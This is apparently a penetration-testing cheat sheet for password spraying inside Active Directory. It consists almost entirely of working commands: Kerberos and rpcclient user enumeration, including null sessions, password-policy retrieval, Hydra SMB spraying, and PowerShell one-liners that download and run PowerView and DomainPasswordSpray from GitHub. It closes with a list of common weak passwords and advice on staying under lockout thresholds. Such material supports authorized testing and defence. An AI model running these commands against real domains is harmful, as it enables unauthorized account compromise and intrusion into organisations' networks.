Internal Password Spraying

Internal Password Spraying

Get domain users using Kerberos

dig _ldap._tcp.dc._msdcs.Domain_Name // Find Domain Controller
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='domain.local',userdb=users.txt 10.196.1.13

Get domain users using powerview

IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1");
Get-DomainUser | select samaccountname > users.txt

Get domain users using rpcclient

nmap -Pn -sS -p389,88 --open 10.10.0.0/16 // Find Domain Controller

rpcclient -U "" -N 10.10.1.50 // Authenticate Using Null Session
rpcclient -U "MEGA\hsaad" 10.10.1.50 // Authenticate Using Domain User & Password
>> enumdomusers // Enumerate All Domain Users

Get domain password policy using powerview

(Get-DomainPolicy)."SystemAccess"

Get domain password policy using rpcclient

>> getdompwinfo

Password Spraying Using Hydra

Don't forget the lockout threshold if it exists, for example, if it set for 5 tries in 30 minutes, then can only try 4 failed attempts on every account every 30 minutes.

hydra -V -L users.txt -P pass.txt -m MEGA.local -t 1 10.10.1.50 smb
hydra -V -L users.txt -e nsr -m MEGA.local -t 1 10.10.1.50 smb

Password Spraying Using DomainPasswordSpray

By default, the tool will enumerate the users in the domain, then will filter from them any disabled account or any account that reaches the limit of the lockout.

IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1");
Invoke-DomainPasswordSpray -Password Spring2017
Invoke-DomainPasswordSpray -UserList users.txt -PasswordList passlist.txt

Common Passwords

12345
123456
123456789
P@ssw0rd
P@ssword
P@ssword@123
password@123
Company_name@123
admin@123

Last updated